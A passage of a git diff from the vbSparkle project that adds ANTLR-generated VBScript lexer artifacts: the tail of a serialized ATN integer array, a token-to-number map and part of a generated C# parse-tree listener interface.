383, 191, 0, 1943, 1947, 3, 361, 180, 0, 1944, 1947, 3, 377, 188, 0, 1945, 1947, 3, 365, 182, 0, 1946, 1942, 1, 0, 0, 0, 1946, 1943, 1, 0, 0, 0, 1946, 1944, 1, 0, 0, 0, 1946, 1945, 1, 0, 0, 0, 1946, 1947, 1, 0, 0, 0, 1947, 428, 1, 0, 0, 0, 1948, 1950, 3, 383, 191, 0, 1949, 1951, 3, 453, 226, 0, 1950, 1949, 1, 0, 0, 0, 1951, 1952, 1, 0, 0, 0, 1952, 1950, 1, 0, 0, 0, 1952, 1953, 1, 0, 0, 0, 1953, 430, 1, 0, 0, 0, 1954, 1955, 5, 38, 0, 0, 1955, 1956, 5, 79, 0, 0, 1956, 1958, 1, 0, 0, 0, 1957, 1959, 7, 5, 0, 0, 1958, 1957, 1, 0, 0, 0, 1959, 1960, 1, 0, 0, 0, 1960, 1958, 1, 0, 0, 0, 1960, 1961, 1, 0, 0, 0, 1961, 1963, 1, 0, 0, 0, 1962, 1964, 3, 361, 180, 0, 1963, 1962, 1, 0, 0, 0, 1963, 1964, 1, 0, 0, 0, 1964, 432, 1, 0, 0, 0, 1965, 1967, 3, 387, 193, 0, 1966, 1968, 7, 6, 0, 0, 1967, 1966, 1, 0, 0, 0, 1968, 1969, 1, 0, 0, 0, 1969, 1967, 1, 0, 0, 0, 1969, 1970, 1, 0, 0, 0, 1970, 1971, 1, 0, 0, 0, 1971, 1973, 3, 393, 196, 0, 1972, 1974, 7, 6, 0, 0, 1973, 1972, 1, 0, 0, 0, 1974, 1975, 1, 0, 0, 0, 1975, 1973, 1, 0, 0, 0, 1975, 1976, 1, 0, 0, 0, 1976, 1977, 1, 0, 0, 0, 1977, 1979, 3, 393, 196, 0, 1978, 1980, 7, 6, 0, 0, 1979, 1978, 1, 0, 0, 0, 1980, 1981, 1, 0, 0, 0, 1981, 1979, 1, 0, 0, 0, 1981, 1982, 1, 0, 0, 0, 1982, 1983, 1, 0, 0, 0, 1983, 1985, 3, 393, 196, 0, 1984, 1986, 7, 6, 0, 0, 1985, 1984, 1, 0, 0, 0, 1986, 1987, 1, 0, 0, 0, 1987, 1985, 1, 0, 0, 0, 1987, 1988, 1, 0, 0, 0, 1988, 1989, 1, 0, 0, 0, 1989, 1991, 3, 393, 196, 0, 1990, 1992, 7, 6, 0, 0, 1991, 1990, 1, 0, 0, 0, 1992, 1993, 1, 0, 0, 0, 1993, 1991, 1, 0, 0, 0, 1993, 1994, 1, 0, 0, 0, 1994, 1995, 1, 0, 0, 0, 1995, 1996, 3, 409, 204, 0, 1996, 434, 1, 0, 0, 0, 1997, 2001, 3, 451, 225, 0, 1998, 2000, 3, 453, 226, 0, 1999, 1998, 1, 0, 0, 0, 2000, 2003, 1, 0, 0, 0, 2001, 1999, 1, 0, 0, 0, 2001, 2002, 1, 0, 0, 0, 2002, 436, 1, 0, 0, 0, 2003, 2001, 1, 0, 0, 0, 2004, 2006, 3, 445, 222, 0, 2005, 2004, 1, 0, 0, 0, 2005, 2006, 1, 0, 0, 0, 2006, 2007, 1, 0, 0, 0, 2007, 2009, 3, 449, 224, 0, 2008, 2010, 3, 445, 222, 0, 2009, 2008, 1, 0, 0, 0, 2009, 2010, 1, 0, 0, 0, 2010, 438, 1, 0, 0, 0, 2011, 2013, 3, 445, 222, 0, 2012, 2011, 1, 0, 0, 0, 2012, 2013, 1, 0, 0, 0, 2013, 2018, 1, 0, 0, 0, 2014, 2016, 3, 441, 220, 0, 2015, 2017, 3, 445, 222, 0, 2016, 2015, 1, 0, 0, 0, 2016, 2017, 1, 0, 0, 0, 2017, 2019, 1, 0, 0, 0, 2018, 2014, 1, 0, 0, 0, 2019, 2020, 1, 0, 0, 0, 2020, 2018, 1, 0, 0, 0, 2020, 2021, 1, 0, 0, 0, 2021, 440, 1, 0, 0, 0, 2022, 2023, 5, 58, 0, 0, 2023, 442, 1, 0, 0, 0, 2024, 2026, 3, 445, 222, 0, 2025, 2024, 1, 0, 0, 0, 2025, 2026, 1, 0, 0, 0, 2026, 2034, 1, 0, 0, 0, 2027, 2035, 5, 39, 0, 0, 2028, 2030, 5, 58, 0, 0, 2029, 2028, 1, 0, 0, 0, 2029, 2030, 1, 0, 0, 0, 2030, 2031, 1, 0, 0, 0, 2031, 2032, 3, 277, 138, 0, 2032, 2033, 5, 32, 0, 0, 2033, 2035, 1, 0, 0, 0, 2034, 2027, 1, 0, 0, 0, 2034, 2029, 1, 0, 0, 0, 2035, 2039, 1, 0, 0, 0, 2036, 2038, 8, 7, 0, 0, 2037, 2036, 1, 0, 0, 0, 2038, 2041, 1, 0, 0, 0, 2039, 2037, 1, 0, 0, 0, 2039, 2040, 1, 0, 0, 0, 2040, 2042, 1, 0, 0, 0, 2041, 2039, 1, 0, 0, 0, 2042, 2043, 6, 221, 0, 0, 2043, 444, 1, 0, 0, 0, 2044, 2046, 7, 8, 0, 0, 2045, 2044, 1, 0, 0, 0, 2046, 2047, 1, 0, 0, 0, 2047, 2045, 1, 0, 0, 0, 2047, 2048, 1, 0, 0, 0, 2048, 446, 1, 0, 0, 0, 2049, 2050, 5, 32, 0, 0, 2050, 2054, 5, 95, 0, 0, 2051, 2053, 5, 32, 0, 0, 2052, 2051, 1, 0, 0, 0, 2053, 2056, 1, 0, 0, 0, 2054, 2052, 1, 0, 0, 0, 2054, 2055, 1, 0, 0, 0, 2055, 2058, 1, 0, 0, 0, 2056, 2054, 1, 0, 0, 0, 2057, 2059, 5, 13, 0, 0, 2058, 2057, 1, 0, 0, 0, 2058, 2059, 1, 0, 0, 0, 2059, 2060, 1, 0, 0, 0, 2060, 2061, 5, 10, 0, 0, 2061, 2062, 1, 0, 0, 0, 2062, 2063, 6, 223, 0, 0, 2063, 448, 1, 0, 0, 0, 2064, 2066, 5, 13, 0, 0, 2065, 2064, 1, 0, 0, 0, 2065, 2066, 1, 0, 0, 0, 2066, 2067, 1, 0, 0, 0, 2067, 2070, 5, 10, 0, 0, 2068, 2070, 7, 9, 0, 0, 2069, 2065, 1, 0, 0, 0, 2069, 2068, 1, 0, 0, 0, 2070, 450, 1, 0, 0, 0, 2071, 2072, 7, 10, 0, 0, 2072, 452, 1, 0, 0, 0, 2073, 2074, 7, 11, 0, 0, 2074, 454, 1, 0, 0, 0, 2075, 2076, 7, 12, 0, 0, 2076, 456, 1, 0, 0, 0, 2077, 2078, 7, 13, 0, 0, 2078, 458, 1, 0, 0, 0, 2079, 2080, 7, 14, 0, 0, 2080, 460, 1, 0, 0, 0, 2081, 2082, 7, 15, 0, 0, 2082, 462, 1, 0, 0, 0, 2083, 2084, 7, 4, 0, 0, 2084, 464, 1, 0, 0, 0, 2085, 2086, 7, 16, 0, 0, 2086, 466, 1, 0, 0, 0, 2087, 2088, 7, 17, 0, 0, 2088, 468, 1, 0, 0, 0, 2089, 2090, 7, 18, 0, 0, 2090, 470, 1, 0, 0, 0, 2091, 2092, 7, 19, 0, 0, 2092, 472, 1, 0, 0, 0, 2093, 2094, 7, 20, 0, 0, 2094, 474, 1, 0, 0, 0, 2095, 2096, 7, 21, 0, 0, 2096, 476, 1, 0, 0, 0, 2097, 2098, 7, 22, 0, 0, 2098, 478, 1, 0, 0, 0, 2099, 2100, 7, 23, 0, 0, 2100, 480, 1, 0, 0, 0, 2101, 2102, 7, 24, 0, 0, 2102, 482, 1, 0, 0, 0, 2103, 2104, 7, 25, 0, 0, 2104, 484, 1, 0, 0, 0, 2105, 2106, 7, 26, 0, 0, 2106, 486, 1, 0, 0, 0, 2107, 2108, 7, 27, 0, 0, 2108, 488, 1, 0, 0, 0, 2109, 2110, 7, 28, 0, 0, 2110, 490, 1, 0, 0, 0, 2111, 2112, 7, 29, 0, 0, 2112, 492, 1, 0, 0, 0, 2113, 2114, 7, 30, 0, 0, 2114, 494, 1, 0, 0, 0, 2115, 2116, 7, 31, 0, 0, 2116, 496, 1, 0, 0, 0, 2117, 2118, 7, 32, 0, 0, 2118, 498, 1, 0, 0, 0, 2119, 2120, 7, 33, 0, 0, 2120, 500, 1, 0, 0, 0, 2121, 2122, 7, 34, 0, 0, 2122, 502, 1, 0, 0, 0, 2123, 2124, 7, 35, 0, 0, 2124, 504, 1, 0, 0, 0, 2125, 2126, 7, 36, 0, 0, 2126, 506, 1, 0, 0, 0, 39, 0, 1868, 1870, 1879, 1888, 1893, 1896, 1901, 1907, 1913, 1918, 1925, 1930, 1935, 1939, 1946, 1952, 1960, 1963, 1969, 1975, 1981, 1987, 1993, 2001, 2005, 2009, 2012, 2016, 2020, 2025, 2029, 2034, 2039, 2047, 2054, 2058, 2065, 2069, 1, 0, 1, 0] \ No newline at end of file diff --git a/Sources/vbSparkle/VBScriptLexer.tokens b/Sources/vbSparkle/VBScriptLexer.tokens new file mode 100644 index 0000000..92fab61 --- /dev/null +++ b/Sources/vbSparkle/VBScriptLexer.tokens @@ -0,0 +1,253 @@ +ACCESS=1 +ADDRESSOF=2 +ALIAS=3 +AND=4 +ATTRIBUTE=5 +APPACTIVATE=6 +APPEND=7 +AS=8 +BEEP=9 +BEGIN=10 +BEGINPROPERTY=11 +BINARY=12 +BOOLEAN=13 +BYVAL=14 +BYREF=15 +BYTE=16 +CALL=17 +CASE=18 +CHDIR=19 +CHDRIVE=20 +CLASS=21 +CLOSE=22 +COLLECTION=23 +CONST=24 +DATE=25 +PTRSAFE=26 +DECLARE=27 +DEFBOOL=28 +DEFBYTE=29 +DEFDATE=30 +DEFDBL=31 +DEFDEC=32 +DEFCUR=33 +DEFINT=34 +DEFLNG=35 +DEFOBJ=36 +DEFSNG=37 +DEFSTR=38 +DEFVAR=39 +DELETESETTING=40 +DIM=41 +DO=42 +DOUBLE=43 +EACH=44 +ELSE=45 +ELSEIF=46 +END_ENUM=47 +END_CLASS=48 +END_FUNCTION=49 +END_IF=50 +END_PROPERTY=51 +END_SELECT=52 +END_SUB=53 +END_TYPE=54 +END_WITH=55 +END=56 +ENDPROPERTY=57 +ENUM=58 +EQV=59 +ERASE=60 +ERROR=61 +EVENT=62 +EXIT_DO=63 +EXIT_FOR=64 +EXIT_FUNCTION=65 +EXIT_PROPERTY=66 +EXIT_SUB=67 +FALSE=68 +FILECOPY=69 +FRIEND=70 +FOR=71 +FUNCTION=72 +GET=73 +GLOBAL=74 +GOSUB=75 +GOTO=76 +IF=77 +IMP=78 +IMPLEMENTS=79 +IN=80 +INPUT=81 +IS=82 +INTEGER=83 +KILL=84 +LOAD=85 +LOCK=86 +LONG=87 +LOOP=88 +LEN=89 +LET=90 +LIB=91 +LIKE=92 +LINE_INPUT=93 +LOCK_READ=94 +LOCK_WRITE=95 +LOCK_READ_WRITE=96 +LSET=97 +MACRO_IF=98 +MACRO_ELSEIF=99 +MACRO_ELSE=100 +MACRO_END_IF=101 +ME=102 +MID=103 +MKDIR=104 +MOD=105 +NAME=106 +NEXT=107 +NEW=108 +NOT=109 +NOTHING=110 +NULL=111 +OBJECT=112 +ON=113 +ON_ERROR=114 +ON_LOCAL_ERROR=115 +OPEN=116 +OPTIONAL=117 +OPTION_BASE=118 +OPTION_EXPLICIT=119 +OPTION_COMPARE=120 +OPTION_PRIVATE_MODULE=121 +OR=122 +OUTPUT=123 +PARAMARRAY=124 +PRESERVE=125 +PRINT=126 +PRIVATE=127 +PROPERTY_GET=128 +PROPERTY_LET=129 +PROPERTY_SET=130 +PUBLIC=131 +PUT=132 +RANDOM=133 +RANDOMIZE=134 +RAISEEVENT=135 +READ=136 +READ_WRITE=137 +REDIM=138 +REM=139 +RESET=140 +RESUME=141 +RETURN=142 +RMDIR=143 +RSET=144 +SAVEPICTURE=145 +SAVESETTING=146 +SEEK=147 +SELECT=148 +SENDKEYS=149 +SET=150 +SETATTR=151 +SHARED=152 +SINGLE=153 +SPC=154 +STATIC=155 +DEFAULT=156 +STEP=157 +STOP=158 +STRING=159 +SUB=160 +TAB=161 +TEXT=162 +THEN=163 +TIME=164 +TO=165 +TRUE=166 +TYPE=167 +TYPEOF=168 +UNLOAD=169 +UNLOCK=170 +UNTIL=171 +VARIANT=172 +VERSION=173 +WEND=174 +WHILE=175 +WIDTH=176 +WITH=177 +WITHEVENTS=178 +WRITE=179 +XOR=180 +AMPERSAND=181 +ASSIGN=182 +AT=183 +COMMA=184 +DIV=185 +DOLLAR=186 +DOT=187 +EQ=188 +EXCLAMATIONMARK=189 +GEQ=190 +GT=191 +HASH=192 +LEQ=193 +LBRACE=194 +LPAREN=195 +LT=196 +MINUS=197 +MINUS_EQ=198 +MULT=199 +NEQ=200 +PERCENT=201 +PLUS=202 +PLUS_EQ=203 +POW=204 +RBRACE=205 +RPAREN=206 +SEMICOLON=207 +L_SQUARE_BRACKET=208 +R_SQUARE_BRACKET=209 +STRINGLITERAL=210 +DATELITERAL=211 +HEXLITERAL=212 +INTEGERLITERAL=213 +DOUBLELITERAL=214 +FILENUMBER=215 +OCTALLITERAL=216 +GUID=217 +IDENTIFIER=218 +NEWLINE=219 +INLINE_SEP=220 +INLN=221 +COMMENT=222 +WS=223 +LINE_CONTINUATION=224 +'&'=181 +':='=182 +'@'=183 +','=184 +'$'=186 +'.'=187 +'='=188 +'!'=189 +'>='=190 +'>'=191 +'#'=192 +'<='=193 +'{'=194 +'('=195 +'<'=196 +'-'=197 +'-='=198 +'*'=199 +'<>'=200 +'%'=201 +'+'=202 +'+='=203 +'^'=204 +'}'=205 +')'=206 +';'=207 +'['=208 +']'=209 +':'=221 diff --git a/Sources/vbSparkle/VBScriptListener.cs b/Sources/vbSparkle/VBScriptListener.cs new file mode 100644 index 0000000..89ede6a --- /dev/null +++ b/Sources/vbSparkle/VBScriptListener.cs @@ -0,0 +1,1993 @@ +//------------------------------------------------------------------------------ +// +// This code was generated by a tool. +// ANTLR Version: 4.13.1 +// +// Changes to this file may cause incorrect behavior and will be lost if +// the code is regenerated. +// +//------------------------------------------------------------------------------ + +// Generated from VBScript.g4 by ANTLR 4.13.1 + +// Unreachable code detected +#pragma warning disable 0162 +// The variable '...' is assigned but its value is never used +#pragma warning disable 0219 +// Missing XML comment for publicly visible type or member '...' +#pragma warning disable 1591 +// Ambiguous reference in cref attribute +#pragma warning disable 419 + +using Antlr4.Runtime.Misc; +using IParseTreeListener = Antlr4.Runtime.Tree.IParseTreeListener; +using IToken = Antlr4.Runtime.IToken; + +/// +/// This interface defines a complete listener for a parse tree produced by +/// . +/// +[System.CodeDom.Compiler.GeneratedCode("ANTLR", "4.13.1")] +[System.CLSCompliant(false)] +public interface IVBScriptListener : IParseTreeListener { + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterStartRule([NotNull] VBScriptParser.StartRuleContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitStartRule([NotNull] VBScriptParser.StartRuleContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterModule([NotNull] VBScriptParser.ModuleContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitModule([NotNull] VBScriptParser.ModuleContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterModuleReferences([NotNull] VBScriptParser.ModuleReferencesContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitModuleReferences([NotNull] VBScriptParser.ModuleReferencesContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterModuleReference([NotNull] VBScriptParser.ModuleReferenceContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitModuleReference([NotNull] VBScriptParser.ModuleReferenceContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterModuleReferenceValue([NotNull] VBScriptParser.ModuleReferenceValueContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitModuleReferenceValue([NotNull] VBScriptParser.ModuleReferenceValueContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterModuleReferenceComponent([NotNull] VBScriptParser.ModuleReferenceComponentContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitModuleReferenceComponent([NotNull] VBScriptParser.ModuleReferenceComponentContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterModuleHeader([NotNull] VBScriptParser.ModuleHeaderContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitModuleHeader([NotNull] VBScriptParser.ModuleHeaderContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterModuleConfig([NotNull] VBScriptParser.ModuleConfigContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitModuleConfig([NotNull] VBScriptParser.ModuleConfigContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterModuleConfigElement([NotNull] VBScriptParser.ModuleConfigElementContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitModuleConfigElement([NotNull] VBScriptParser.ModuleConfigElementContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterModuleAttributes([NotNull] VBScriptParser.ModuleAttributesContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitModuleAttributes([NotNull] VBScriptParser.ModuleAttributesContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterModuleOptions([NotNull] VBScriptParser.ModuleOptionsContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitModuleOptions([NotNull] VBScriptParser.ModuleOptionsContext context); + /// + /// Enter a parse tree produced by the optionBaseStmt + /// labeled alternative in . + /// + /// The parse tree. + void EnterOptionBaseStmt([NotNull] VBScriptParser.OptionBaseStmtContext context); + /// + /// Exit a parse tree produced by the optionBaseStmt + /// labeled alternative in . + /// + /// The parse tree. + void ExitOptionBaseStmt([NotNull] VBScriptParser.OptionBaseStmtContext context); + /// + /// Enter a parse tree produced by the optionCompareStmt + /// labeled alternative in . + /// + /// The parse tree. + void EnterOptionCompareStmt([NotNull] VBScriptParser.OptionCompareStmtContext context); + /// + /// Exit a parse tree produced by the optionCompareStmt + /// labeled alternative in . + /// + /// The parse tree. + void ExitOptionCompareStmt([NotNull] VBScriptParser.OptionCompareStmtContext context); + /// + /// Enter a parse tree produced by the optionExplicitStmt + /// labeled alternative in . + /// + /// The parse tree. + void EnterOptionExplicitStmt([NotNull] VBScriptParser.OptionExplicitStmtContext context); + /// + /// Exit a parse tree produced by the optionExplicitStmt + /// labeled alternative in . + /// + /// The parse tree. + void ExitOptionExplicitStmt([NotNull] VBScriptParser.OptionExplicitStmtContext context); + /// + /// Enter a parse tree produced by the optionPrivateModuleStmt + /// labeled alternative in . + /// + /// The parse tree. + void EnterOptionPrivateModuleStmt([NotNull] VBScriptParser.OptionPrivateModuleStmtContext context); + /// + /// Exit a parse tree produced by the optionPrivateModuleStmt + /// labeled alternative in . + /// + /// The parse tree. + void ExitOptionPrivateModuleStmt([NotNull] VBScriptParser.OptionPrivateModuleStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterModuleBody([NotNull] VBScriptParser.ModuleBodyContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitModuleBody([NotNull] VBScriptParser.ModuleBodyContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterModuleBodyElement([NotNull] VBScriptParser.ModuleBodyElementContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitModuleBodyElement([NotNull] VBScriptParser.ModuleBodyElementContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterControlProperties([NotNull] VBScriptParser.ControlPropertiesContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitControlProperties([NotNull] VBScriptParser.ControlPropertiesContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterCp_Properties([NotNull] VBScriptParser.Cp_PropertiesContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitCp_Properties([NotNull] VBScriptParser.Cp_PropertiesContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterCp_PropertyName([NotNull] VBScriptParser.Cp_PropertyNameContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitCp_PropertyName([NotNull] VBScriptParser.Cp_PropertyNameContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterCp_PropertyValue([NotNull] VBScriptParser.Cp_PropertyValueContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitCp_PropertyValue([NotNull] VBScriptParser.Cp_PropertyValueContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterCp_NestedProperty([NotNull] VBScriptParser.Cp_NestedPropertyContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitCp_NestedProperty([NotNull] VBScriptParser.Cp_NestedPropertyContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterCp_ControlType([NotNull] VBScriptParser.Cp_ControlTypeContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitCp_ControlType([NotNull] VBScriptParser.Cp_ControlTypeContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterCp_ControlIdentifier([NotNull] VBScriptParser.Cp_ControlIdentifierContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitCp_ControlIdentifier([NotNull] VBScriptParser.Cp_ControlIdentifierContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterBlockSwitch([NotNull] VBScriptParser.BlockSwitchContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitBlockSwitch([NotNull] VBScriptParser.BlockSwitchContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterBlock([NotNull] VBScriptParser.BlockContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitBlock([NotNull] VBScriptParser.BlockContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterModuleBlock([NotNull] VBScriptParser.ModuleBlockContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitModuleBlock([NotNull] VBScriptParser.ModuleBlockContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterAttributeStmt([NotNull] VBScriptParser.AttributeStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitAttributeStmt([NotNull] VBScriptParser.AttributeStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterLineLabel([NotNull] VBScriptParser.LineLabelContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitLineLabel([NotNull] VBScriptParser.LineLabelContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterInlineBlock([NotNull] VBScriptParser.InlineBlockContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitInlineBlock([NotNull] VBScriptParser.InlineBlockContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterInlineBlockStmt([NotNull] VBScriptParser.InlineBlockStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitInlineBlockStmt([NotNull] VBScriptParser.InlineBlockStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterBlockStmt([NotNull] VBScriptParser.BlockStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitBlockStmt([NotNull] VBScriptParser.BlockStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterAppActivateStmt([NotNull] VBScriptParser.AppActivateStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitAppActivateStmt([NotNull] VBScriptParser.AppActivateStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterBeepStmt([NotNull] VBScriptParser.BeepStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitBeepStmt([NotNull] VBScriptParser.BeepStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterChDirStmt([NotNull] VBScriptParser.ChDirStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitChDirStmt([NotNull] VBScriptParser.ChDirStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterChDriveStmt([NotNull] VBScriptParser.ChDriveStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitChDriveStmt([NotNull] VBScriptParser.ChDriveStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterCloseStmt([NotNull] VBScriptParser.CloseStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitCloseStmt([NotNull] VBScriptParser.CloseStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterConstStmt([NotNull] VBScriptParser.ConstStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitConstStmt([NotNull] VBScriptParser.ConstStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterConstSubStmt([NotNull] VBScriptParser.ConstSubStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitConstSubStmt([NotNull] VBScriptParser.ConstSubStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterDateStmt([NotNull] VBScriptParser.DateStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitDateStmt([NotNull] VBScriptParser.DateStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterDeclareStmt([NotNull] VBScriptParser.DeclareStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitDeclareStmt([NotNull] VBScriptParser.DeclareStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterDeftypeStmt([NotNull] VBScriptParser.DeftypeStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitDeftypeStmt([NotNull] VBScriptParser.DeftypeStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterDeleteSettingStmt([NotNull] VBScriptParser.DeleteSettingStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitDeleteSettingStmt([NotNull] VBScriptParser.DeleteSettingStmtContext context); + /// + /// Enter a parse tree produced by the dlStatement + /// labeled alternative in . + /// + /// The parse tree. + void EnterDlStatement([NotNull] VBScriptParser.DlStatementContext context); + /// + /// Exit a parse tree produced by the dlStatement + /// labeled alternative in . + /// + /// The parse tree. + void ExitDlStatement([NotNull] VBScriptParser.DlStatementContext context); + /// + /// Enter a parse tree produced by the dwlStatement + /// labeled alternative in . + /// + /// The parse tree. + void EnterDwlStatement([NotNull] VBScriptParser.DwlStatementContext context); + /// + /// Exit a parse tree produced by the dwlStatement + /// labeled alternative in . + /// + /// The parse tree. + void ExitDwlStatement([NotNull] VBScriptParser.DwlStatementContext context); + /// + /// Enter a parse tree produced by the dlwStatement + /// labeled alternative in . + /// + /// The parse tree. + void EnterDlwStatement([NotNull] VBScriptParser.DlwStatementContext context); + /// + /// Exit a parse tree produced by the dlwStatement + /// labeled alternative in . + /// + /// The parse tree. + void ExitDlwStatement([NotNull] VBScriptParser.DlwStatementContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterEndStmt([NotNull] VBScriptParser.EndStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitEndStmt([NotNull] VBScriptParser.EndStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterEnumerationStmt([NotNull] VBScriptParser.EnumerationStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitEnumerationStmt([NotNull] VBScriptParser.EnumerationStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterClassStmt([NotNull] VBScriptParser.ClassStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitClassStmt([NotNull] VBScriptParser.ClassStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterEnumerationStmt_Constant([NotNull] VBScriptParser.EnumerationStmt_ConstantContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitEnumerationStmt_Constant([NotNull] VBScriptParser.EnumerationStmt_ConstantContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterEraseStmt([NotNull] VBScriptParser.EraseStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitEraseStmt([NotNull] VBScriptParser.EraseStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterErrorStmt([NotNull] VBScriptParser.ErrorStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitErrorStmt([NotNull] VBScriptParser.ErrorStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterEventStmt([NotNull] VBScriptParser.EventStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitEventStmt([NotNull] VBScriptParser.EventStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterExitStmt([NotNull] VBScriptParser.ExitStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitExitStmt([NotNull] VBScriptParser.ExitStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterFilecopyStmt([NotNull] VBScriptParser.FilecopyStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void 